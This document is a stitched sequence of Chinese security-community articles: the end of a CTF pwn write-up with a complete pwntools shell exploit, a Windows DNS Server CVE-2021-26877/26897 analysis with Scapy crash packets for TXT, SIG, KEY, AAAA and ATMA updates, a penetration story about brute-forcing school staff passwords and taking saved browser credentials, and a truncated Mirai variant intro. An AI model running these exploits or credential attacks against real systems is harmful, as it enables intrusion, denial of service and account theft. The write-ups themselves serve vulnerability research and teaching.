绕过这一处后，就到了`_dl_lookup_symbol_x`，只要这里解析成功，剩下的就完事了
利用成功
## 完整EXP
利用流程如下
1. UAF + Fastbin Attack 控制`notelist`
2. 修改`puts[@got](https://github.com/got "@got")`为`printf[@plt](https://github.com/plt "@plt")`实现格式化字符串漏洞利用泄漏栈地址
3. 读取`link_map`地址，并修改`[ink_map + 0xe4] = 0`
4. 栈上布置`fake_ELF32_Rel`与`fake_ELF32_Sym`
5. 修改栈上数据实现`ret to dl_resolve`
6. Get Shell
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
e = ELF("./pwn")
rlibc = ''
ip = ''
port = ''
debug = False
def dbg(code=""):
global debug
if debug == False:
return
gdb.debug()
def run(local):
global p, libc, debug
if local == 1:
debug = True
# p = process(["qemu-arm", "-g", "1111", "-L", "/usr/arm-linux-gnueabihf", "./pwn"])
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./pwn"])
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)
se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, 'x00'))
un32 = lambda x: u32(x.ljust(4, 'x00'))
def add(size, c):
sla("choice:", '1')
sla(":", str(size))
sea(":", c)
#sleep(0.5)
def delete(idx):
sla("choice:", '2')
sla(":", str(idx))
#sleep(0.5)
def show(idx):
sla("choice:", '3')
sla("Index :", str(idx))
def edit(idx,c):
sla("choice:", '5')
sla(":", str(idx))
sea(":", c)
#sleep(0.5)
note_list = 0x21088
Sym_offset = 0x10eb
name_offset = 0x10d88
fake_got = 0x2961c
gadget = 0x10b20
fake_ELF32_Rel = ""
fake_ELF32_Rel += p32(e.got['free'])
fake_ELF32_Rel += p32((Sym_offset << 8) ^ 0x16)
fake_ELF32_Sym = ""
fake_ELF32_Sym += p32(name_offset)
fake_ELF32_Sym += p32(0) * 2
fake_ELF32_Sym += p32(0x12)
run(1)
sea(":", "Mask".ljust(0x1c, 'x00') + p32(0x31))
add(0x28, '0')
add(0x28, '1')
add(0x28, '2')
add(0x28, '3')
add(0x28, '4')
add(0x28, '5')
add(0x28, '6')
add(0x28, '%10$p;/bin/sh')
delete(2)
delete(3)
delete(2)
add(0x28, p32(0x21078 + 8))
add(0x28, '5')
add(0x28, p32(0x21078 + 8))
add(0x28, p32(note_list) + p32(e.got['puts']))
# UAF + Fastbin Attack 控制notelist
edit(1, p32(0x010524))
show(7)
stack = int(rn(10), 16) - 0x20
# 修改puts@got为printf@plt实现格式化字符串漏洞利用泄漏栈地址
edit(0, p32(e.got['free']) + p32(stack + 0x24) + p32(stack + 0x24 + 0x20) + p32(note_list + 0x10))
edit(3, p32(note_list + 0x2c) + p32(note_list + 0x3c) + p32(0x21004))
show(6)
link_map = un32(rn(4))
edit(3, p32(note_list + 0x2c) + p32(note_list + 0x3c) + p32(link_map + 0xe4))
edit(6, p32(0))
# 读取link_map地址，并修改[ink_map + 0xe4] = 0
edit(4, fake_ELF32_Rel + 'system'.ljust(0x8, 'x00'))
edit(5, fake_ELF32_Sym)
# 栈上布置fake_ELF32_Rel与fake_ELF32_Sym
edit(0, p32(gadget))
edit(1, p32(gadget) + p32(0x666) * 3)
edit(2, p32(fake_got) + p32(0x10a65) + p32(0x10510))
delete(7)
# 修改栈上数据实现ret to dl_resolve
shell()
# Get Shell
写的不好，希望各位大佬多多谅解~
pwn文件与脚本下载地址
链接: <https://pan.baidu.com/s/1BDiDMV5nc7J4BU-R4S4wLw> 提取码: tbci | 社区文章 |
**作者：Strawberry @ QAX CERT
原文链接：<https://mp.weixin.qq.com/s/2D9WYLI_hgGOdBRUrBw6KQ>**
2021 年 3 月，微软于补丁日发布了关于 Windows DNS Server 的五个远程代码执行漏洞和两个拒绝服务漏洞，漏洞编号如下：
**RCE漏洞** CVE-2021-26877，CVE-2021-26897（Exploitation More Likely）
CVE-2021-26893，CVE-2021-26894，CVE-2021-26895（Exploitation Less Likely）
**DoS漏洞** CVE-2021-26896，CVE-2021-27063（Exploitation Less Likely）
Windows DNS Server
存在多个远程代码执行漏洞和拒绝服务漏洞，攻击者可通过向目标主机发送特制请求来利用这些漏洞，成功利用这些漏洞可在目标主机上以 SYSTEM
权限执行任意代码或导致 DNS 服务拒绝服务。启用安全动态更新可暂时缓解这些漏洞，但攻击者依然可以通过加入域的计算机攻击启用了安全区域更新的 DNS
服务器。
### 攻击面说明
从通告的 FAQ 说明上看，这些漏洞都存在于 Windows DNS Server 进行动态区域更新的过程中。DNS 更新功能使 DNS
客户端计算机能够在发生更改时向 DNS 服务器注册并动态更新其资源记录（RR）。 使用此功能可以缩短手动管理区域记录所需的时间，从而改进 DNS
管理。动态区域更新功能可以部署在独立的 DNS 服务器或 Active Directory（AD）集成的 DNS 服务器上。最佳实践是部署与 AD
集成的DNS，以便利用 Microsoft 的安全性，如 Kerberos 和 GSS-TSIG。
动态更新类型：
* **安全动态区域更新：** 验证所有 RR 更新均已使用加入域的计算机上的 GSS-TSIG 进行了数字签名。此外，可以对哪些主体可以执行动态区域更新应用更精细的控件。
* **不安全的动态区域：** 任何计算机无需任何身份验证即可更新 RR（不建议）。
在DNS服务器上创建区域时，可以选择启用或禁用 DNS 动态区域更新：
* 将 DNS 部署为独立服务器时，默认情况下将禁用 **“动态区域更新”** 功能，但可以在 **安全/非安全模式** 下启用该功能。
* 将 DNS 部署为 AD 集成时，默认 **在安全模式下启用“动态区域更新”** 。
以下为 McAfee 关于 Windows DNS Server 部署模型制作的威胁分析表格：
* 部署在公网启用动态更新的 Windows DNS Server 风险最高（这种配置是极其不推荐的，应该很少有这种配置）
* 部署 AD 集成的 Windows DNS Server 默认在安全模式下启用“动态区域更新”，可减轻未经身份验证的攻击者的风险，但仍具有受威胁的域计算机或受信任内部人员实现 RCE 的风险
参考链接：<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/>
### CVE-2021-26877 漏洞复现分析
* 使用 TXT length 大于 Data length 的 TXT 资源记录进行区域的动态更新时可触发此漏洞
根据 McAfee 博客中的信息可知，此漏洞在更新 TXT 记录时产生，TXT 记录中的 TXT Length 被设置为
0xFF，这个值大于资源记录里指定的 Data Length (0xbd)，这个长度表示的是这个记录后面的所有数据的长度，在当前场景下，包括所有的 TXT
Length 和 TXT 数据的长度。使用 Scapy 构造数据包及抓包数据如下：
query = DNSQR(qname='mal', qtype='SOA')
RRTXT = DNSRR(rrname="A.mal",type='TXT',rdlen=0xbd,rdata='\x41'*0xff) // 0xff 可修改为更大的数，理论上只要比 0xbd 大即可
packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,aa=1,tc=1,rd=0,ra=1,cd=1,rcode=5,qd=query,ns=RRTXT)
配置 DNS 服务器，新增一个名为 MAL 的主要区域，并设置允许动态更新。(启用页堆) 以下为漏洞触发场景，问题出现在
dns!File_PlaceStringInFileBuffer 函数中，程序尝试访问超出边界的数据：
0:019> g
(874.9a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
dns!File_PlaceStringInFileBuffer+0xa2:
00007ff7`50cc67f6 410fb60c24 movzx ecx,byte ptr [r12] ds:00000271`34988000=??
0:004> k
# Child-SP RetAddr Call Site
00 000000bc`b82ff3f0 00007ff7`50cc731e dns!File_PlaceStringInFileBuffer+0xa2
01 000000bc`b82ff440 00007ff7`50bc26a9 dns!TxtFileWrite+0x6e
02 000000bc`b82ff490 00007ff7`50c5da3d dns!RR_WriteToFile+0x205
03 000000bc`b82ff4f0 00007ff7`50c5ecc6 dns!Up_LogZoneUpdate+0x6ad
04 000000bc`b82ffc70 00007ff7`50c5ea30 dns!Up_CompleteZoneUpdate+0x26e
05 000000bc`b82ffd00 00007ff7`50c60c96 dns!Up_ExecuteUpdateEx+0x338
06 000000bc`b82ffd60 00007ff7`50c616ba dns!processWireUpdateMessage+0x456
07 000000bc`b82ffe00 00007ff7`50c550ad dns!Update_Thread+0x12a
0:004> !heap -p -a r12 //在 CopyWireRead 函数中调用 RR_AllocateEx 申请空间。用户可用的长度到 0x27134987ff5
address 0000027134988000 found in
_DPH_HEAP_ROOT @ 271126b1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
27132a28f08: 27134987ef0 105 - 27134987000 2000
00007fff07e86d67 ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007fff07e2cade ntdll!RtlpAllocateHeap+0x000000000009d27e
00007fff07d8da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
00007ff750cc2b4d dns!allocMemory+0x0000000000000039
00007ff750cc2f28 dns!Mem_Alloc+0x000000000000008c
00007ff750cc35c2 dns!RR_AllocateEx+0x000000000000003a
00007ff750c3efd4 dns!CopyWireRead+0x0000000000000024
00007ff750c3fed2 dns!Wire_CreateRecordFromWire+0x000000000000015a
00007ff750c5f3d5 dns!writeUpdateFromPacketRecord+0x0000000000000035
00007ff750c5fbe7 dns!parseUpdatePacket+0x0000000000000423
00007ff750c60b6d dns!processWireUpdateMessage+0x000000000000032d
00007ff750c616ba dns!Update_Thread+0x000000000000012a
00007ff750c550ad dns!threadTopFunction+0x000000000000007d
00007fff054a7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014
00007fff07dea271 ntdll!RtlUserThreadStart+0x0000000000000021
0:004> db r12-20 //这里要访问 0x27134988000 处的数据
00000271`34987fe0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`34987ff0 41 41 41 41 41 d0 d0 d0-d0 d0 d0 d0 d0 d0 d0 d0 AAAAA...........
00000271`34988000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000271`34988010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000271`34988020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000271`34988030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000271`34988040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00000271`34988050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:004> db ecx-14e l160 //将 TXT 数据写入这个缓存区域
00000271`34989ff0 c0 c0 c0 c0 bb 05 fc ff-ef 0c 0c 0c 0c 0c 0c fe ................
00000271`3498a000 0d 0a 24 53 4f 55 52 43-45 20 20 50 41 43 4b 45 ..$SOURCE PACKE
00000271`3498a010 54 20 31 39 32 2e 31 36-38 2e 31 34 30 2e 31 32 T 192.168.140.12
00000271`3498a020 39 0d 0a 24 56 45 52 53-49 4f 4e 20 32 0d 0a 24 9..$VERSION 2..$
00000271`3498a030 41 44 44 0d 0a 41 20 20-20 20 20 20 20 20 20 20 ADD..A
00000271`3498a040 20 20 20 20 20 20 20 20-20 20 20 20 20 30 09 54 0.T
00000271`3498a050 58 54 09 28 20 22 41 41-41 41 41 41 41 41 41 41 XT.( "AAAAAAAAAA
00000271`3498a060 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a070 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a080 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a090 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a0f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a100 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000271`3498a110 41 41 5c 33 32 30 5c 33-32 30 5c 33 32 30 5c 33 AA\320\320\320\3
00000271`3498a120 32 30 5c 33 32 30 5c 33-32 30 5c 33 32 30 5c 33 20\320\320\320\3
00000271`3498a130 32 30 5c 33 32 30 5c 33-32 30 5c 33 32 30 00 c0 20\320\320\320..
00000271`3498a140 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
**漏洞分析** 在 CopyWireRead 函数中，通过 RR_AllocateEx 函数申请长度为 data length
的空间，而在后续的操作中实际上会分配 data length + 0x38 + 0x10 大小的空间。0x10 为自定义头部的大小、0x38 为 RR
头部的大小。result 指向 RR 头部，然后调用 memcpy 函数向缓冲区复制 data length 长度的数据。如果 data 数据长度大于
data length 长度也可以被处理，只是复制到缓存中会被截断。
接下来在 TxtFileWrite 函数中会调用 File_PlaceStringInFileBuffer
函数，分别传入待写入缓冲区地址、待写入缓冲区结尾地址、1、TXT 记录缓存地址以及分组长度（每次不超过 0xFF）。这个长度就是从 data
字段中取出的，在调用 File_PlaceStringInFileBuffer 函数前没有判断这个长度是否超出了 TXT
缓存数据的界限（在这个函数内部也没有判断）。虽然在后面会有判断（粉框内），但在第一次执行 File_PlaceStringInFileBuffer
函数的过程中就有可能会触发漏洞。
在 File_PlaceStringInFileBuffer 函数中存在以下循环，使用传入的 length 控制循环的次数，这会导致访问超出边界的数据。
**补丁分析**
以下为补丁后的 TxtFileWrite 函数，在调用 File_PlaceStringInFileBuffer 函数前，会判断通过 TXT Length
寻址后的地址是否超出了申请的空间。
### CVE-2021-26897 漏洞复现分析
* 发送许多连续的 SIG 资源记录动态更新可触发此漏洞
* 将许多连续的 SIG 资源记录动态更新进行组合并将字符串进行 Base64 编码时在堆上引发 OOB 写操作
根据已有信息，可构造以下数据包。更新类型为 SIG，记录超长（signature 字段超长）。注意这次需使用 TCP 连接，Scapy
不能直接构造，以下仅为模型：
query = DNSQR(qname='mal', qtype='SOA')
RRSIG = DNSRRRSIG(rrname=str(RandString(8))+'.mal', type="SIG", ttl=300,signersname="A.mal",signature='\x00'*0xff00)
packet = IP(dst=ip)/TCP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRSIG)
以下为抓包数据：
漏洞触发现场以及函数调用堆栈如下，异常的原因是 0x2713533c000 无法访问。漏洞触发是在
Dns_SecurityKeyToBase64String 函数（用于 Base64 编码）中。
0:011> g
(874.c34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
dns!Dns_SecurityKeyToBase64String+0x66:
00007ff7`50d02c3a 41884001 mov byte ptr [r8+1],al ds:00000271`3533c000=??
0:011> k
# Child-SP RetAddr Call Site
00 000000bc`b867f3a8 00007ff7`50cc7f02 dns!Dns_SecurityKeyToBase64String+0x66
01 000000bc`b867f3b0 00007ff7`50bc26a9 dns!SigFileWrite+0x1f2
02 000000bc`b867f4a0 00007ff7`50bc244e dns!RR_WriteToFile+0x205
03 000000bc`b867f500 00007ff7`50bc1c92 dns!writeNodeRecordsToFile+0xa6
04 000000bc`b867f560 00007ff7`50bc1cb1 dns!zoneTraverseAndWriteToFile+0x42
05 000000bc`b867f590 00007ff7`50bc18f5 dns!zoneTraverseAndWriteToFile+0x61
06 000000bc`b867f5c0 00007ff7`50c6a2a3 dns!File_WriteZoneToFile+0x379
07 000000bc`b867f6c0 00007ff7`50c6a388 dns!Zone_WriteBack+0xfb
08 000000bc`b867f700 00007ff7`50d00580 dns!Zone_WriteBackDirtyZones+0xb4
09 000000bc`b867f790 00007ff7`50c56a74 dns!Zone_WriteBackDirtyVirtualizationInstances+0x110
0a 000000bc`b867f7c0 00007ff7`50c550ad dns!Timeout_Thread+0x544
查看出现问题的缓冲区，可以发现，其首地址为 0x271352bbff0 ，UserSize 为 0x80010，是在
File_WriteZoneToFile 函数中调用 Mem_Alloc 分配的。
0:011> !heap -p -a 271`3533c000
address 000002713533c000 found in
_DPH_HEAP_ROOT @ 271126b1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
27132a2ca90: 271352bbff0 80010 - 271352bb000 82000
00007fff07e86d67 ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007fff07e2cade ntdll!RtlpAllocateHeap+0x000000000009d27e
00007fff07d8da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
00007ff750cc2b4d dns!allocMemory+0x0000000000000039
00007ff750cc2f28 dns!Mem_Alloc+0x000000000000008c
00007ff750bc178c dns!File_WriteZoneToFile+0x0000000000000210
00007ff750c6a2a3 dns!Zone_WriteBack+0x00000000000000fb
00007ff750c6a388 dns!Zone_WriteBackDirtyZones+0x00000000000000b4
00007ff750d00580 dns!Zone_WriteBackDirtyVirtualizationInstances+0x0000000000000110
00007ff750c56a74 dns!Timeout_Thread+0x0000000000000544
00007ff750c550ad dns!threadTopFunction+0x000000000000007d
00007fff054a7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014
00007fff07dea271 ntdll!RtlUserThreadStart+0x0000000000000021
0:011> db 271352bbff0 //存放 MAL.dns 缓存信息
00000271`352bbff0 c0 c0 c0 c0 bb 16 fc ff-ef 0c 0c 0c 0c 0c 0c fe ................
00000271`352bc000 3b 0d 0a 3b 20 20 44 61-74 61 62 61 73 65 20 66 ;..; Database f
00000271`352bc010 69 6c 65 20 4d 41 4c 2e-64 6e 73 20 66 6f 72 20 ile MAL.dns for
00000271`352bc020 44 65 66 61 75 6c 74 20-7a 6f 6e 65 20 73 63 6f Default zone sco
00000271`352bc030 70 65 20 69 6e 20 7a 6f-6e 65 20 4d 41 4c 2e 0d pe in zone MAL..
00000271`352bc040 0a 3b 20 20 20 20 20 20-5a 6f 6e 65 20 76 65 72 .; Zone ver
00000271`352bc050 73 69 6f 6e 3a 20 20 32-35 0d 0a 3b 0d 0a 0d 0a sion: 25..;....
00000271`352bc060 40 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20 @
File_WriteZoneToFile 函数中调用 Mem_Alloc 申请大小为 0x80000 长度的空间，实际是通过 allocMemory
函数申请大小为 0x80010 长度的堆（包括 0x10 大小的头部长度）。而触发访问异常的 0x2713533c000 正好和 0x271352bbff0
相差 0x80010。下一步要查看为何会有超出边界的数据复制过来。
0:011> ?271`3533c000-271352bbff0
Evaluate expression: 524304 = 00000000`00080010
**漏洞分析** 通过回溯及数据跟踪可关注到 zoneTraverseAndWriteToFile 函数，其第一个参数偏移 0x20
处保存了待写缓冲区的实时地址。该函数会调用 writeZoneRoot、writeNodeRecordsToFile 等函数向缓冲区写入数据。然后利用
NTree_FirstChild 以及 NTree_NextSiblingWithLocking 函数遍历
NodeRecords，然后通过回调依次对这些节点进行处理。如果该节点偏移 0x5c 处没有设置 0x10 的 flag，就会调用
writeNodeRecordsToFile 函数进行处理。
writeNodeRecordsToFile 函数中会调用 RR_WriteToFile 函数，在 RR_WriteToFile
函数中也会有判断，如果当前缓冲区距离 end_addr 的长度小于 0x11000，就将缓冲区数据写入文件，并重置缓冲区指针。但这里没有考虑 Base64
编码后是 3:4 的长度。
然后通过 type 类型从 RawRecordFileWrite 表中选择相应的 FileWrite 处理函数，type 18 对应的是
SigFileWrite 函数，然后调用这个函数。（IDA 下面解析错了，实际上 SigFileWrite 函数有 4 个参数）
SigFileWrite 函数用于解析 SIG 结构并将其写入 MAL.dns 缓存，如下所示，SigFileWrite 函数拿到的初始缓存缓冲区指针为
p_buffer(来自第二个参数)，在向其写入 SIG 头信息以及 Signer's name 后，v13 指向该缓冲区待写入的地址，然后调用
Dns_SecurityKeyToBase64String 函数对 Signature 进行 Base64 编码并将结果写入 v13 指向的地址处。
如下所示，在调用 Dns_SecurityKeyToBase64String 函数时，第二个参数为 0xffb9，经过 Base64 编码后的数据长度为
0x154f8。查看上下文可以发现（上图所示），在向缓冲区写入的每一步几乎都用了 end_addr(用户可用的最大长度) 作为限制，唯独在
Dns_SecurityKeyToBase64String 函数的调用中没有，这可能会造成隐患。
0:011> g
Breakpoint 1 hit
dns!Dns_SecurityKeyToBase64String:
00007ff7`50d02bd4 48895c2408 mov qword ptr [rsp+8],rbx ss:000000bc`b867f3b0=000000bcb867f430
0:011> r rdx
rdx=000000000000ffb9
0:011> ?ffb9/3*4
Evaluate expression: 87284 = 00000000`000154f4
0:011> db r8 l20
00000271`34c16255 00 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
00000271`34c16265 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
0:011> gu
dns!SigFileWrite+0x1f2:
00007ff7`50cc7f02 4c8bc8 mov r9,rax
0:011> db 271`34c16255+154f4 l20 // 写入了 0x154f8 字节数据
00000271`34c2b749 41 41 41 3d c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 AAA=............
00000271`34c2b759 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
由于向 zoneTraverseAndWriteToFile 函数中传入的第一个参数是不变的，因而会一直向该缓冲区中写入数据。虽然在
RR_WriteToFile 函数和 SigFileWrite 函数中有一些判断，但仍未考虑数据 Base64
编码后的长度，因而在多次循环写入的时候，正好在 Dns_SecurityKeyToBase64String 函数的执行过程中触发 OOB 写操作。
**补丁分析** 更新后的 DNS 在 SigFileWrite 函数中调用 Dns_SecurityKeyToBase64String
函数前会进行以下判断。会考虑当前缓冲区的剩余空间是否可以容纳 Base64 编码后的 Signature 数据。
### 补丁对比分析
以下为 3 月更新内发生变动的函数列表，包括前面已经分析过的TxtFileWrite 函数和 SigFileWrite 函数。
* **KEY 记录问题**
类似地，在 KeyFileWrite 函数中也加入了 Base64 编码预检查（粉框对应）。但不是这个的问题，补丁前已经有 a3 - (signed
__int64)a2 < (signed int)(2 * v3) 这个判断了，可以阻断 CVE-2021-26897
式触发。真正的原因我用蓝框圈起来了，v3 来自 Data Length - 4，而且它是无符号 int 型，如果 Data Length 小于
4，会产生整数溢出。而它又作为 Dns_SecurityKeyToBase64String 函数的第二个参数，该函数指明待编码数据长度，4
个字节的大整数，肯定会溢出的啦。
构造 POC 如下，触发场景见下图：
query = DNSQR(qname='mal', qtype='SOA')
RRKEY = DNSRR(rrname=str(RandString(8))+'.mal',type='KEY',rdlen=0 ,rdata='\x00'*0xff)
packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRKEY)
另外，值得注意的是，CopyWireRead 函数中加入了以下判断，经过分析可知，当接收 update 请求类型为 WKS、AAAA 或 ATMA
时，会分别判断其 Data Length 是否小于 5、0x10、2。
* **AAAA 记录问题**
该请求会由 AaaaFileWrite 函数进行处理，经过前面的分析可知，a1 偏移 0x38 处指向 Data Length 字段后的记录数据。经过
CopyWireRead 函数的处理，a1 偏移 0x38 处指向的数据的有效长度等于 Data Length 大小。如果 Data Length 小于
XXXFileWrite 函数中函数调用所需的数据长度，就有可能访问到缓冲区边界之外的数据（如 RtlIpv6AddressToStringA 函数）。
以下为 RtlIpv6AddressToStringA 函数原型，其第一个参数类型为 in6_addr，该长度应为 16 个字节。因而在新的
CopyWireRead 函数中会判断 Data Length 大小是否小于 0x10。
NTSYSAPI PSTR RtlIpv6AddressToStringA(
const in6_addr *Addr,
PSTR S
);
typedef struct in6_addr {
union {
UCHAR Byte[16];
USHORT Word[8];
} u;
} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;
0:008> db rdx l10 //例：fe80::20c:29ff:fe5e:7b11
00000271`26ed9ecd fe 80 00 00 00 00 00 00-02 0c 29 ff fe 5e 7b 11 ..........)..^{.
新的 AaaaFileWrite 函数中也会加入对待读缓冲区和待写缓冲区的判断。
构造如下 POC 进行验证，崩溃场景如下图：
query = DNSQR(qname='mal', qtype='SOA')
RRAaaa = DNSRR(rrname=str(RandString(8))+'.mal',type='AAAA',rdlen=1,rdata='fe80::20c:29ff:fe5e:7b11')
packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRAaaa)
* **ATMA 记录问题**
下面再来看 AtmaFileWrite 函数，CopyWireRead 函数中给的限制是：它的 Data Length 长度要大于等于 2。对比补丁前后，对
Data Length 长度判断吸引了我的注意（右边），如果是 0，就走结束流程。那么再看不补丁前的函数，v6 为 Data Length - 1
的无符号数，当 Data Length 为 0 时，v6 为 0xFFFFFFFF , 会产生整数溢出。而且，当 Data 数据的第一个字节为 1 时，会以
v6 做为控制长度向缓冲区复制数据（堆溢出）。
构造 ATMA 更新请求如下，为了使 Data Length 为 0 时，满足漏洞触发条件，需要在发送恶意请求时发送一些“铺垫”数据，即保证 Data
数据的第一个字节（a1 偏移 0x38 处）为 1，且分配的大小一致。那么当触发漏洞的请求到来时，申请的堆可能就来自之前的数据包。例：rdl 先 1（多个）
后 0（分配到 0x50 大小的自定义堆上），崩溃现场如下图：
query = DNSQR(qname='mal', qtype='SOA')
RRATMA = DNSRR(rrname="A.mal",type='ATMA',rdlen=rdl,rdata='\x01'*0xff)
packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRATMA)
* **WKS 记录问题**
WksFileWrite 函数中会打印 IP 地址，还有协议名称，这需要保证数据必须大于等于5。如果发送的数据不到
5，就会读取到后面的数据，这样会存在一定程度的信息泄露（然而我觉得没什么用）。
### 总结
微软 3 月补丁日公开了 Windows DNS Server 中存在的多个远程代码执行漏洞和拒绝服务漏洞，这些漏洞都存在于 Windows DNS
Server 进行动态区域更新的过程中。攻击者可通过向目标主机发送特制请求来利用这些漏洞，成功利用这些漏洞可在目标主机上以 SYSTEM
权限执行任意代码或导致 DNS 服务拒绝服务。通过对 McAfee 博客中的细节描述进行分析以及补丁比对，笔者构造 POC 复现了其中的 5 个（不包括
WKS）。如有不足之处，欢迎批评指正，期待技术交流。
### 参考链接
<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/seven-windows-wonders-critical-vulnerabilities-in-dns-dynamic-updates/>
<https://docs.microsoft.com/zh-cn/troubleshoot/windows-server/networking/configure-dns-dynamic-updates-windows-server-2003>
<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26877>
<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26897>
* * * | 社区文章 |
**前言：**
**HVV行动中，或者一些SRC挖掘和定点测试的时候，总会遇到一些登录页面。常见的渗透方式有注入，逻辑（忘记密码），寻找敏感接口/目录，0day/Nday，字典爆破等方法。当然，渗透的思维是发散的，不一定就要局限于这些。**
**案例分享：**
**某学校招新系统登录页面。**
界面如下：
拿到系统的时候，我也尝试着找寻是否存在注入点，或者扫描一些敏感目录和接口，甚至采用字典爆破，但都没有什么收获。其实我也想着就这么放弃了。
但心里总是不甘心，脑海里迅速过一遍挖掘到的目标院校的漏洞，看能否结合起来拿下这个系统。
**0x01：目标院校云桌面服务**
在对目标院校进行信息收集和踩点的时候，发现了一个云桌面服务。（VMware)
尝试下载安装并运行。因为目标系统是学校，那么就用学校常见的一些弱口令（123456，身份证后六位，学号后六位等）进行尝试猜解。
在这里，猜解很快。成功登录云桌面服务。但是登录之后没有发现什么，就是一个简单的win7界面。
不过，我又尝试了一些其他教职工的账号，有的可以登录，而有的不能登录（猜测是改密码了，或者该教师没有使用云桌面的权限）
那么目标系统的管理员是否有使用云桌面的权限？因为这个云桌面类似是VPN的功能，可能让你在外的时候接入学校的内网进行办公。我的猜想是如果目标系统的管理员可以使用云桌面，那么会不会在浏览器上留下一些痕迹？（比如记住密码的操作）。
当然，这只是猜想。那么如何知道这个目标系统的管理员是谁呢？
可以是社工，也可以是其他方式。
**0x02：一站式服务教工弱口令，直达0A系统**
一站式登录界面如下：
因为前期收集过目标院校的教职工工号，生成一批类似的数字，直接爆破。
我将成功的一些账号和密码导了出来。
进入目标院校的一站式服务系统——OA系统。
在这里，注意看这些发件人，我注意到有一个名字出现的频率挺高，发的也是一些启用一些新系统的通知。并且，也注意到他是在目标院校的信息中心工作。
云桌面启动，尝试登录。结果登录成功。
让我意外的是，他的桌面服务环境，明显跟其他人不一样。
打开桌面上的火狐浏览器，寻找记录。
“山重水复疑无路，柳暗花明又一村。”
但是目标URL是一个内网地址，尝试访问。其中就存在开始的那个登录框。意外之喜。
记下密码，回到开头。
感谢您的观看~！ | 社区文章 |
作者：murphyzhang、xmy、hjchjcjh @云鼎实验室
公众号：[云鼎实验室](https://mp.weixin.qq.com/s/jy8Ay4D2gQMHOYlDLwoovQ "云鼎实验室")
### 一、前言
近期腾讯安全云鼎实验室听风威胁感知平台监测发现一款攻击路由器的蠕虫病毒，经过分析，认定此款蠕虫是 mirai 病毒的新变种，和之前的 mirai
病毒不同，该蠕虫不仅仅通过初代 mirai 使用的 telnent 爆破进行攻击，更多通过路由器漏洞进行攻击传播。
### 二、Payload 与漏洞分析
